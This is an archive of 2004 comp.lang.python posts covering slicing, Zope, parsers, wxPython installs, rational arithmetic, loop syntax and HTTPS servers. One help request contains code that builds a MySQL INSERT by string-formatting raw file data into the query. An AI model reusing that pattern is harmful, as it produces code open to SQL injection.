	<mailman.213.1077911469.8594.python-list@python.org>
Message-ID: <slrnc3vhbp.ebj.grey@dmiyu.org>

On 2004-02-27, Marcello Pietrobon <teiffel at attglobal.net> wrote:
> Can I ask you one more thing ?

    Sure.  However I am a Python neophyte who happens to have a few years
experience so take everything I say with a large heaping of salt.  :)

> It is surprizing to me that in

    Ah, took me a minote to see what you were saying.

> for x in real[:]

> dirs[:] creates a copy of dirs

    Well, creating a copy is the shorthand.  What both of these are doing is
"output the values from the array x from y to z."  Since y and z are not
specified you get the whole array (or string, or directory or any other
slicable object).

> while

> dirs[:] = [] - empty the original list

    This is "assign the range of x to y the list given".  A better way to see
it would be to do this:


 = [1, 2, 3, 4]
>>> foo   
[1, 2, 3, 4]
>>> foo[1:2] = [3, 2, 5]
>>> foo
[1, 3, 2, 5, 3, 4]

    Hmmm, ok, even I'm scratching my head at that since I expected 1, 3, 2, 5
4.  Erm, but you get the idea.  :)

> and
> dirs = [] - empty a copy of the original list

    This is because here you're assigning the name to a new object.  

    So in order...

for x in real[:] - iterate over the results of the slice of real from y to z.

foo = dirs[:] - Assign foo to the results of the slice of dirs from y to z.

dirs[:] = [] - Assign the the area of dirs defined by slice y to z with an
emptry array.

dirs = [] - Assign the name dirs to a new, empty array.

    Where most people get hung up is the different between strings, which are
immutable, and lists/dictionaries, etc. which are mutable.  :)

> I understand ( I think ) the concept of slicing, but this is stil 
> surprizing to me.   Like to say that when I do
>
> for x in real[:]

> this is not using slicing

    Yes, it is.  Take foo from above...

>>> id(foo)
1075943980
foo points to object 1075943980.

>>> id(foo)
1075943980
foo still points to object 1075943980.

>>> id(foo[:])
1075943308
However this is a different object, 1075943308.

    So in the above example it is using a slice.  real[:] is returning a slice
and it is that object which x is iterating over.  Just because that slice
doesn't have a name assigned to it doesn't mean it doesn't exist.  :)

> While
> dirs[:] = []
> is using slicing

    Well, it is using it in a different manner.  Above you're using slicing to
tell Python what to return.  Here you're using slicing to tell Python what to
replace.

> Maybe I just making a big mess in my mind.
> It looks like assignments in Python and C++ are pretty different

    Never touched C++ so I cannot say.  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
       PGP Key: 8B6E99C5       | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From deets_noospaam at web.de  Tue Feb 17 13:30:54 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Tue, 17 Feb 2004 19:30:54 +0100
Subject: PractiCalc - A New CALCULATOR
References: <mailman.73.1077037791.31398.python-list@python.org>
Message-ID: <c0tmku$seo$06$1@news.t-online.com>

Thoro wrote:

> PractiCalc - A brand new CALCULATOR for your PC.

who needs that?

python -c "print 5*5"
25

:)
-- 
Regards,

Diez B. Roggisch


From NAIGIMSESRIMAIL at gims.com  Wed Feb 18 10:38:15 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Wed, 18 Feb 2004 17:38:15 +0200
Subject: ALERT -  GroupShield ticket number OB5_1077118689_ESRIMAIL_3 was 
	generated
Message-ID: <B06B8FEF47ACD7119E720040F428459102124973@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list at python.org <python-list at python.org>

From:
Thomas Heller <theller at python.net>

Sent:
899794560,29619765

Subject:
Re: Hello World with pywin

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
Virus Name: 



	
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From mwh at python.net  Fri Feb 13 07:01:22 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 13 Feb 2004 12:01:22 GMT
Subject: Mathematica-style notebook in Python
References: <5eb8fb88.0402121313.2f07dd0a@posting.google.com>
Message-ID: <m3n07nyyr2.fsf@pc150.maths.bris.ac.uk>

rick_muller at yahoo.com (Rick Muller) writes:

> I was wondering whether anyone has considered writing a
> Mathematica-style notebook in Python. I use Python to do a lot of
> scientific analysis, and I really like it's power. But what I always
> envy about my friends who use Mathematica is the notebooks they
> generate, which contain plots, annotations, and other information, in
> a format that can be reloaded easily when you want to check your work.
> 
> Before I start doing something like this, has anyone else considered
> it?

Considered it, certainly.  Armin Rigo, Holger Krekel and I recently
made a start on such a thing (called shpy) but haven't got very far
yet...

Cheers,
mwh

-- 
  I'm not particularly fond of singing GSTQ because she stands for
  some things I don't, but it's not really worth letting politics
  getting in the way of a good bawling.  -- Dan Sheppard, ucam.chat


From this at is.for.spambot  Wed Feb 11 11:43:14 2004
From: this at is.for.spambot (Benjamin Han)
Date: Wed, 11 Feb 2004 11:43:14 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
	<c0d5gg$u0m$1@absinth.dialog.net.pl>
Message-ID: <2004021111431416807%this@isforspambot>

On 2004-02-11 07:00:32 -0500, "Krzysztof Stachlewski" 
<stach at fr.REMOVE.pl> said:

> "Benjamin Han" <this at is.for.spambot> wrote in message
> news:2004021019594716807%this at isforspambot...
> 
>>> I just wanted to say, that even if the server is
>>> listening on that port, that connection attempts may fail.
>> 
>> How is it possible? Could you explain a bit more?
> 
> Your server may be accepting connections slower than
> the speed at which new connections are coming.
> In such situation your operating system maintains a list
> of those awaiting connections. You can control the length of
> this list with the "backlog" parameter of the "listen" function.
> If the list is full, new connections may simply be dropped
> as if the server was not listening at all.
> 
> Stach

Thanks for the tip - the default queue size is 5. I've since changed it 
into 100 (much more than what it actually needs), but the original 
problem remains.



From ahsan.imam at newtimes.com  Thu Feb  5 17:59:36 2004
From: ahsan.imam at newtimes.com (ahsan Imam)
Date: 5 Feb 2004 14:59:36 -0800
Subject: Error message <exceptions.TypeError unpack non-sequence>
Message-ID: <788bd2d4.0402051459.8a90fec@posting.google.com>

Hello All,

I am trying to move an application from python 1.5.2 to 2.3. The code
works fine in 1.5.2 but gives the exception (exceptions.TypeError
unpack non-sequence) in python 2.3. I did not write this code so I am
not sure what is happening here.

Here is the code snippet:

for (item, agent) in self.lItems:
      lItems.append(interpolate(self._ITEM_FMT, id=str(item)))

Note:
self.lItems contains two elements.

Questions:
1) What is the for statement doing?
2) Is this called tuple unpacking or list unpacking? 
3) Is there newer syntax?
4) Why does he use the "for" loop like that?

Any help is appreciated.

Thanks
Ahsan


From nospam-deets at web.de  Thu Feb 19 07:49:22 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 19 Feb 2004 13:49:22 +0100
Subject: Nature of Zope...
References: <cd29768.0402180920.35b6aeab@posting.google.com>
Message-ID: <c12bhs$1bvfgs$1@ID-111250.news.uni-berlin.de>

Scott wrote:

> I'm interested in developing business apps, not just developing a
> content management site.  I'm wondering if Zope is right for me.  My
> programming exposure has been limited to simple PHP and not even from
> an OOP perspective, just simply dropping logic into HTML pages

> 
> I'm interested in building deployable apps with administration built
> into the app itself, not necessarily being administered from within
> Zope.  For example, I would create an app with its own administrator,
> its own staff, and its own technicians.  These being completely
> separate from the Zope management console.  (The users and managers of
> this app would be completely unaware of Zope).

ZOPE has hierarchical folders and can lookup users and their permissions in
userfolders - like this

/myapp
/myapp/UserFolder

Now whatever users are in /myapp/UserFolder only exist under /myapp. There
are UserFolder implementations that don't store themselves in ZODB, instead
they use e.g. ldap or mysql.

> These users would have certain tasks that they can do based on of
> course their ownership and security levels (these also being managed
> by the apps administrator and perspective).  Can these things be
> controlled outside of Zope?  If I did that would it break the core
> "point" of Zope?  Can and should I create a means to tie into the
> ZopeDB from within the app for users and perms or can I store this in
> a SQL database.  If I create a deployable package and distribute it,
> let it run, and simply restore my MySQL database in the event of a
> failure and redeploy my original "Zope Project" after a
> re-installation, could I be good to go?  Or must I store users,
> groups, perms, etc in the ZopeDB, or can I put users and their
> permissions in a SQL DB?

As mentioned above, you _can_ move it out of ZOPE - and as you can access
rdbms and ldap using sqlmethods or python-scripts with the neccessary
logic, you could add management areas that control it. But I think you are
right: you're sort of breaking the point of zope then. You lose a lot of
features - e.g. in ZODB you don't have to create relational-2-object
mappings, you simply add properties to objects and they get stored
automatically. 

I like ZOPE for your usual CMS app - information is in most cases
hierarchical, and thats very well reflected by ZODB. If you _have_
m:n-relations, a relational model might suit you better.  But I also just
stored arbitrary objects in ZODB - I don't remeber what is neccessary for
an python object to be storable, but AFAIK it wasn't more than inheriting
from a base class. Then you could store whole object graphs. However, you
_don't_ have sql or the like implemented on that - but sql also isn't to
good in dealing with strucures with arbitrary depths.

Others on this list recommend webware - I never looked at it myself, but
from what I know it looks more like the "classic" servlet-approach you find
in the JAVA-world. Maybe you can look into that?

> In order to use Zope, is it mandatory to know Python and OOP to build
> complex apps.  The reason for me wanting to use Zope is so I wouldn't
> have to learn another language, so that development could go fast, so
> that a person without extensive programming experience could build a
> logical business application.

At least python is mandatory - for all python webappservers. OOP is just a
paradigm one can follow, nobody is forced to. But I actually recommend
getting a grasp of it, as complex apps these days usually utilize it.

-- 
Regards,

Diez B. Roggisch


From paul at prescod.net  Tue Feb  3 12:38:49 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 03 Feb 2004 09:38:49 -0800
Subject: pyc files
In-Reply-To: <69d3be0f3471ddb46f07af86e9e12ddf@news.meganetnews.com>
References: <69d3be0f3471ddb46f07af86e9e12ddf@news.meganetnews.com>
Message-ID: <401FDCA9.4070805@prescod.net>

Ladv?nszky K?roly wrote:

> What are pyc files?

http://fux0r.phathookups.com/programming-tutorials/Python/tut/node43.html

If you know Java, Python .pyc files are like Java .class files. But 
Python maintains them for you automatically.

  Paul Prescod





From amk at amk.ca  Tue Feb 17 12:32:44 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Tue, 17 Feb 2004 11:32:44 -0600
Subject: Parsers with Python
References: <mailman.65.1077031094.31398.python-list@python.org>
Message-ID: <CNadnWAQwIihza_dRVn_iw@speakeasy.net>

On Tue, 17 Feb 2004 10:18:07 -0500, 
	Daniel Carrera <dcarrera at math.umd.edu> wrote:
> I want to write a parser for BibTeX.  A BibTeX file is a collection of 
> entries that look like this:

You should probably look at Greg Ward's btOOL
(http://www.gerg.ca/software/btOOL/), which includes C and Perl parsers for
BibTeX.  Unfortunately the software predates Greg's use of Python, so
there's no Python support.

--amk


From llothar at web.de  Tue Feb 17 14:08:05 2004
From: llothar at web.de (Lothar Scholz)
Date: 17 Feb 2004 11:08:05 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
Message-ID: <6ee58e07.0402171108.4e7599b3@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<4030D457.D193F14C at engcorp.com>...
> Matthias wrote:
> > 
> > This study reports a programmer productivity gain of about 2 for all
> > the scripting languages over C, C++, and Java.  It is a pity that not
> > more attempts to gain /unbiased/ information on software productivity
> > are undertaken.
> 
> I agree.  Unfortunately, it appears, the cost of doing that is just too
> high.  Several times I've wanted to do a study in my company to measure
> the claimed productivity improvements of Python (and of other things) but
> in the end without funding it's not likely to happen, or to be credible.
> 

A good study of this would cost around 750000 US$ and take at least
one year with 2 or 3 persons per team. It's not a problem for IBM or
SUN to pay for it.
But they live on selling consulting hours. Why should they be
interested in a study of who to increase programmer productivity ?


From gh at ghaering.de  Tue Feb 17 13:04:55 2004
From: gh at ghaering.de (=?ISO-8859-1?Q?Gerhard_H=E4ring?=)
Date: Tue, 17 Feb 2004 19:04:55 +0100
Subject: way to remove all non-ascii characters from a file?
In-Reply-To: <defa238f.0402131112.436997c1@posting.google.com>
References: <defa238f.0402131112.436997c1@posting.google.com>
Message-ID: <403257C7.9020301@ghaering.de>

omission9 wrote:
> I have a text file which contains the occasional non-ascii charcter.
> What is the best way to remove all of these in python?

Here's a simple example that does what you want:

 >>> orig = "H?ring"
 >>> "".join([x for x in orig if ord(x) < 128])
'Hring'

-- Gerhard



From bobc99h at yahoo.com  Tue Feb 24 11:10:45 2004
From: bobc99h at yahoo.com (Robert)
Date: Tue, 24 Feb 2004 16:10:45 -0000
Subject: One Contract-for-hire Developer Position-Dallas, Texas
Message-ID: <c1ft25+8ufo@eGroups.com>

We have an opening for a contract-for-hire position with an excellent 
company in Dallas, Tx.  The candidate "MUST HAVE" Python, ASP, Java 
and other Web Languages will be a plus.  The candidate must be very 
senior, an out of the box thinker, also an innovator.  Our client is 
looking for someone who will do it the "right way", not just the way 
they were told.  The candidate will be working  on a Variable Data 
Layout Engine for Marketing Collateral.  The hourly rate paid to 
selected candidate will be $35/40.00 per hour with a conversion to 
Permanent Hire Rate of $80K to $85K per year.

If you have an interest email you resume or call Bob or Jer at 214-
634-0808...Millennium Solutions, Inc., Dallas Texas




From simoninusa2001 at yahoo.co.uk  Mon Feb  2 18:53:21 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 2 Feb 2004 15:53:21 -0800
Subject: Installing wxPython and Friends
References: <27d2bd1f.0402021058.56e6b4c6@posting.google.com>
Message-ID: <30260531.0402021553.acc06ca@posting.google.com>

gingaloon at hotmail.com (JamesW) wrote:

> I need to install wxPython to run some programs that interest me.  I
> have had numerous problems, probably due to knowing little about the
> packages and python, and taking the computer over from soemone else.
> 
> I have recently carried out a clean install of Linux RH 9.0, hoping
> this may eleviate the problems.
[snip]

Same here, I suspect RedHat 9 is broken (they usually have a missing
symlink or two, like when they broke GCC3)

I managed to compile GLib but then ATK couldn't find it, so I couldn't
even get as far as installing GTK+ let alone wxGTK.

I'm going to have a look through the RH9 install CD's to see if there
are GLib, ATK and GTK+ RPMs I can install. If I get it working, I'll
report back here.

I thought compiling Python, PyQt, TK etc was a nightmare, this is just
taking the Mickey!

wxPython/wxWindows installed like a dream under Windows XP of course,
this is why Linux will never hit the desktop as everyone hopes, the
average user would struggle with RPM/Apt let alone compilation!

For the moment I'm back to PyQt/TKinter for Linux and wxPython/TKinter
for Windows (until Trolltech sort out a non-commercial/GPL Windows Qt
license!)


From slhath at charter.net  Wed Feb 25 18:58:42 2004
From: slhath at charter.net (Scott Hathaway)
Date: Wed, 25 Feb 2004 17:58:42 -0600
Subject: Python script in MS Excel
References: <c1f68d$7dh$07$1@news.t-online.com>
Message-ID: <103qvdcgvejcp7a@corp.supernews.com>

Mark,

Just use the shell command from a macro to execute the python code.

:)

Scott

"Mark Buch" <mark.buch at ewetel.net> wrote in message
news:c1f68d$7dh$07$1 at news.t-online.com...
> Hi,
>
> i' ve got a little Python script fpr a database export. Now i want to
start
> this program from MS Excel. Do you know if its possible to execute Python
> Script in a MS Office Product?
>
> Thank you - Mark
>
>




From ketulp_baroda at yahoo.com  Tue Feb 24 08:25:40 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 24 Feb 2004 05:25:40 -0800
Subject: error in inserting a longblob data
Message-ID: <f046efac.0402240525.2303fff6@posting.google.com>

Hi
I am storing the attachment in the database. For some file the data
gets stored in the database but for other files it gives a MySql
error. For eg. when I am trying to attach the file say foo.txt it gets
stored in database correctly whereas the file bar.txt gives an error.
The error given is:


Traceback (most recent call last):
  File "fakeloginserver.py", line 567, in _doRequest
    _handleRequest(_wfile)
  File "fakeloginserver.py", line 812, in _handleRequest
    response.body=_theMethod(**(request.paramMap))
  File "fakeloginserver.py", line 92, in invokeAddAttachment
    add.addAttachment(v,filename,values)
  File "C:\Python23\Lib\site-packages\cherrypy\code\Attachment_Model.py",
line 26, in addAttachment
    n=cursor.execute("insert into attachments
values('%s','%s','%s','%s','%s','%s','%s','%s','%s')"
%(Attachment_Model.projectid[0],values['issueid'],attachID,datetime,values['attachmentdescription'],contenttype,filename,values['attachmentpath'],submitterID))
  File "C:\PYTHON23\Lib\site-packages\MySQLdb\cursors.py", line 95, in
execute
    return self._execute(query, args)
  File "C:\PYTHON23\Lib\site-packages\MySQLdb\cursors.py", line 114,
in _execute
    self.errorhandler(self, exc, value)
  File "C:\PYTHON23\Lib\site-packages\MySQLdb\connections.py", line
33, in defaulterrorhandler
    raise errorclass, errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax.  Check
the manual that corresponds to your MySQL server version for the right
syntax to use near 're just getting started with CherryPy, read the
tutorial (in do")


values['attachmentpath'] contains the file data.
The data type of the file data is LONGBLOB in MySql.
I am not getting why it works for some file but not for others.How can
I make it work for all files??


From theller at python.net  Thu Feb 12 13:40:46 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 12 Feb 2004 19:40:46 +0100
Subject: convert string with raw binary data to unicode
References: <c0gagj$m6m$06$1@news.t-online.com>
Message-ID: <oes4ta35.fsf@python.net>

"Achim Domma" <domma at procoders.net> writes:

> Hi,
>
> I want to pass raw binary data from a file to a COM object. I read the data
> from file like this:
>
> data = file('path_to_file','rb').read()
>
> If passed to a COM object, data is converted to unicode in the way one would
> expect for strings. I.e. a lot of zeros are filled in. I want each two
> characters from data to be interpreted as one unicode character. I read the
> docu about codecs but can not find a suitable codec. I also tried to read
> the data like this:
>
> data = codecs.open('path_to_file','rb','???').read()
>
> I tried to use UCS2 for the ???, but this encoding does not exist. A posting
> found via google supposes to use UTF-16 but this is not the same and raises
> an error.
>
> This shouldn't be a big problem, but I can figure out how to solve it. Can
> anybody help?

If I understand your problem correctly, you want to construct a unicode
object containing arbitrary data in it's internal buffer.

And if I understand Python's unicode implementation correctly, than I
would say it isn't possible - since unicode objects do not contain
binary data, they contain characters (or how is this called in the
unicode world?).

OTOH, it should be possible to write a small extension wrapping the
PyUnicode_FromUnicode() function to accept arbitrary data.

Is there also a possibility to write a codec which does this?

Note that the 'if's above are probably big 'if's...

Thomas


From jcarlson at nospam.uci.edu  Wed Feb  4 15:02:12 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 04 Feb 2004 12:02:12 -0800
Subject: Smarter way of doing this?
In-Reply-To: <4020eb47$0$271$edfadb0f@dread12.news.tele.dk>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<cab22418.0402021554.95d2f3b@posting.google.com>
	<401f53ad$0$287$edfadb0f@dread12.news.tele.dk>
	<4020eb47$0$271$edfadb0f@dread12.news.tele.dk>
Message-ID: <bvrj8d$s97$1@news.service.uci.edu>

>     def get_range(self, n):
>         "Randomly returns a range of elements by probability"
>         return [self.get() for itm in range(n)]

Use xrange here                         ^^^^^
xrange doesn't instantiate a list, so is faster and uses less memory for 
large n.

  - Josiah


From joe at notcharles.ca  Thu Feb 19 05:45:31 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 19 Feb 2004 10:45:31 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<slrnc38nmb.3g8.joe@gate.notcharles.ca>
	<7xy8qzmrgd.fsf@ruckus.brouhaha.com>
	<40347D85.85A7A91B@alcyone.com>
	<7xfzd7v21v.fsf@ruckus.brouhaha.com>
Message-ID: <slrnc393c9.3q4.joe@gate.notcharles.ca>

In article <7xfzd7v21v.fsf at ruckus.brouhaha.com>, Paul Rubin wrote:
> No, I think he's preoccupied with distinctions that aren't there.
> He said
> 
>> x = 1 (or x := 1) looks to me like a statement that sets x to 1, not
>> an expression.  I wouldn't expect any return value, if my mind hadn't
>> been corrupted by C.
> 
> but of course from my Lisper's point of view, the whole idea that a
> statement and an expression are fundamentally different things is
> itself a sign of a corrupted mind.  I'm not willing to accept the

Aha!  Now I see.  Python is not Lisp.  It has tons of imperative
constructs that don't return values.  While loops, for instance.

Corrupt or not, though, the Lisp way is "everything implicitly returns a
value".  I'm not arguing for or against assignment expressions - I think
it's pretty trivial.  I'm just saying you can't claim they aren't
implicit.  And the Zen of Python has things to say about that.

As a Lisper, shouldn't you be avoiding assignments because of their
side effects anyway?  Surely you should be pushing for "let" bindings.

Speaking of which, even though I'm not particularly interested in new
syntax - break was fine for granpappy, and it's good enough for me -
let wouldn't be a bad keyword for the initialization section of the
loop.  Except that wouldn't mean exactly what it does in function
languages, which would be confusing.  "with" is another possibility -
the two uses I know are Pascal, where it just makes a record alias, and
Modula-3, where it works differently but I forget how.  But it's already
overloaded, anyway.

Joe


From tropicoorion at yahoo.com  Sat Feb 14 10:02:20 2004
From: tropicoorion at yahoo.com (tropicoorion)
Date: Sat, 14 Feb 2004 15:02:20 -0000
Subject: Exception raised
Message-ID: <c0ld9s+mmkf@eGroups.com>

Hello Everyone:

I'm using Cyberchiar a system build on python. I'm trying run it over 
window system and IIS. I installed Python for windows and setting IIS.

When I run cyberchair it raises the nex error... can someone help mi 
with this problem..

I'm new programmer in python......

Thanks in advance.

Wil,
======================================================================


Traceback (most recent call last):
  File "E:\cyberchair\cgi-bin\submit_phase1.py", line 225, in ?
    main ()
  File "E:\cyberchair\cgi-bin\submit_phase1.py", line 187, in main
    writekey (phase2_code, form)
  File "E:\cyberchair\cgi-bin\submit_phase1.py", line 146, in writekey
    keysfile.lock ('w|')
  File "C:\Python23\lib\posixfile.py", line 161, in lock
    if 'w' in how: l_type = fcntl.F_WRLCK

AttributeError: 'module' object has no attribute 'F_WRLCK'
C:\Python23\lib\posixfile.py:58: DeprecationWarning: The posixfile 
module is obsolete and will disappear in the future warnings.warn
("The posixfile module is obsolete and will disappear in the future", 
DeprecationWarning) C:\Python23\lib\fcntl.py:6: DeprecationWarning: 
the FCNTL module is deprecated; please use fcntl warnings.warn("the 
FCNTL module is deprecated; please use fcntl", DeprecationWarning)

=====================================================================





From skip at pobox.com  Mon Feb  2 09:08:36 2004
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 2 Feb 2004 08:08:36 -0600
Subject: Simple web proxy - help needed
In-Reply-To: <c335e460.0401310918.49361638@posting.google.com>
References: <c335e460.0401310918.49361638@posting.google.com>
Message-ID: <16414.23012.734156.902109@montanaro.dyndns.org>

>>>>> "Ziv" == Ziv Forshtat <forshtat at hotmail.com> writes:

    Ziv> Hi all,
    Ziv> I'm looking for a simple web proxy in python to use in order to
    Ziv> demonstrate a web page classifier that I have developed.

Perhaps <http://theory.stanford.edu/~amitp/proxy.html> can be made to work.
You might have to tweak it a little for WinXP.

Skip



From maxm at mxm.dk  Mon Feb  9 02:29:53 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 09 Feb 2004 08:29:53 +0100
Subject: where does Python stand?
In-Reply-To: <6ee58e07.0402080829.25ed5799@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
	<c03its$emc$1@news.service.uci.edu>
	<d99e1341.0402080236.79d3d939@posting.google.com>
	<6ee58e07.0402080829.25ed5799@posting.google.com>
Message-ID: <40273706$0$256$edfadb0f@dread12.news.tele.dk>

Lothar Scholz wrote:


> Sorry but this is some kind of fucking marketing rhetorik.

That could probably have come across somewhat friendlier... This group 
has allways been nice and polite. Please let's keep it like that.



regards Max M


From jcarlson at nospam.uci.edu  Sun Feb  1 14:10:59 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 11:10:59 -0800
Subject: PEP 327: Decimal Data Type
In-Reply-To: <jvtn10177itao5m0lgt25bofut9h5qj4c6@4ax.com>
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<h6um10dknflfcgt3id6tril2fs3lbb3vsq@4ax.com>
	<bvgp4j$dp2$1@news.service.uci.edu>
	<jvtn10177itao5m0lgt25bofut9h5qj4c6@4ax.com>
Message-ID: <bvjj49$c94$1@news.service.uci.edu>

> Was your implementation the 'not too bad to get working' or the 'doing
> it well'?

I thought it did pretty well.  But then again, I didn't really much 
worry about it or use it much.  I merely tested to make sure it did the 
right thing and forgot about it.

> For instance, there is the greatest common divisor that you need for
> normalising the rationals. 
> 
> I used the Euclidean algorithm for the GCD. Not too bad, certainly
> better than using prime factorisation, but as I understand it doing
> the job well means using a better algorithm for this - though I never
> did bother looking up the details.

I also used Euclid's GCD, but last time I checked, it is a pretty 
reasonable algorithm.  Runs in log(n) time, where n is the maximum of 
either value.  Technically, it runs linear in the amount of space that 
it takes up, which is about as well as you can do.

> Actually, as far as I remember, just doing the arbitrary length
> integer division functions took me more than your 45 minutes. The long
> division algorithm is simple in principle, but I seem to remember
> messing up the decision of how many bits to shift the divisor after a
> subtraction. Of course in Python, that's already done.

Ahh, integer division.  I solved a related problem with long integers 
for Python in a programming competition my senior year of college 
(everyone else was using Java, the suckers) in about 15 minutes.  We 
were to calculate 1/n, for some arbitrarily large n (where 1/n was a 
fraction that could be represented by base-10 integer division).  Aside 
from I/O, it was 9 lines.

Honestly, I never implemented integer division in my rational type.  For 
casts to floats, 
float(self.numerator)/float(self.denominator)+self.whole seemed just 
fine (I was using rationals with denominators in the range of 2-100 and 
total value < 1000).

Thinking about it now, it wouldn't be very difficult to pull out my 1/n 
code and adapt it to the general integer division problem.  Perhaps 
something to do later.

> Maybe I was just having a bad day. Maybe I remember it worse than it
> really was. Still, 45 minutes doesn't seem too realistic in my memory,
> even for the 'not too bad to get working' case.

For all the standard operations on a rational type, all you need is to 
make sure all you have is two pairs of numerators and denominators, then 
all the numeric manipulation is trivial:
a.n = a.numerator * a.whole*a.denominator
a.d = a.denominator
b.n = b.numerator * b.whole*b.denominator
b.d = b.denominator

a + b = rational(a.n*b.d + b.n*a.d, a.d*b.d)
a - b = rational(a.n*b.d - b.n*a.d, a.d*b.d)
a * b = rational(a.n*b.n, a.d*b.d)
a / b = rational(a.n*b.d, a.d*b.n)
a ** b, b is an integer >= 1 (binary exponentiation)


One must remember to normalize on initialization, but that's not 
difficult.  Functionally that's how my rational turned out.  It wasn't 
terribly full featured, but it worked well for what I was doing.

  - Josiah


From trevp at trevp.net  Sun Feb 29 04:45:02 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 29 Feb 2004 01:45:02 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402261830.7e803327@posting.google.com>
	<7x1xogvr35.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280120.675e2987@posting.google.com>
	<7xhdxbsg10.fsf@ruckus.brouhaha.com>
	<47e891f1.0402281009.766ef484@posting.google.com>
	<7xd67zatic.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402290145.4f611d79@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xd67zatic.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > > Where do you get the fingerprint?
> > 
> > Through the same channel that you used to acquire the email address.
> 
> Well, no.  That channel doesn't have to be secure.  If you think it's
> secure, you may as well use it for secret keys.  Aha you say, it only
> has to be secure against tampering, not mere eavesdropping.

Exactly!

>  But if
> you've got a definite way to secure it against tampering, you may as
> well also secure it against eavesdropping.

Exchanging an "authentic" piece of data is much easier than exchanging
a secret one.

For one thing, authenticity is additive:  Say I list my fingerprint at
the bottom of every email, print it on my webpage and business cards,
and list it in directories.  You can check my fingerprint through
multiple channels to attain more confidence in it than any single
channel provides.

By contrast, secrecy is destroyed by broadcasting, so you and I would
need a single, highly-secure channel for a shared-secret.


> 
> > Put it this way: If you acquire someone's address through a secure
> > channel, then you can use that same channel for fingerprint
> > distribution.  If you acquired their address through an *insecure*
> > channel, then there's no point in using a PKI-provided (address,
> > public key) binding, since the address could be bogus.
> 
> Yes, but if the address is bogus and the public key is good, then
> someone intercepting the encrypted traffic can't read it.

I wasn't clear.  PKIs often map an address to a public key.  If you
input a bogus address to the PKI (i.e. an address chosen by an
attacker), you'll get back a bogus key.

So this sort of PKI *assumes* a tamper-proof channel for distributing
addresses.  Otherwise, garbage in; garbage out.  But in the presence
of such a channel, the PKI is superfluous.  Worse than superfluous: it
*reduces* security by adding an unnecessary point of failure.


> > Here's some good writings about this approach:
> > http://trevp.net/cryptoID/cryptoID.html
> 
> This paper begins
> 
>     Abstract: In this paper, we argue that person-to-person key
>     distribution is best accomplished with a key-centric approach,
> 
> However the idea of certificates is to do away with the need for
> person-to-person key distribution.  

It's poorly phrased, by "person-to-person key distribution" I meant
"key distribution in support of person-to-person communications" (like
email, VoIP, etc.).

However, you're right: certificates *do* try to automate key
distribution so it doesn't require human involvement.

That forces people to explain all their trust relationships and
requirements to the computer, so that it can process certificate
graphs on their behalf and calculate which public keys are acceptable
to them.

The problem is that people's trust relationships and requirements are
complex and context-dependent, and thus difficult to express in a
machine-usable form (look at PGP's web of trust, which is both too
crude to model real-world trust relationships, and too complicated for
most people to use).

Furthermore, people have access to channels which could potentially be
used for key distribution which software has no knowledge of
(face-to-face contact, business cards, paper directories, etc.).
 
So instead of trying to automate key distribution, we should try to
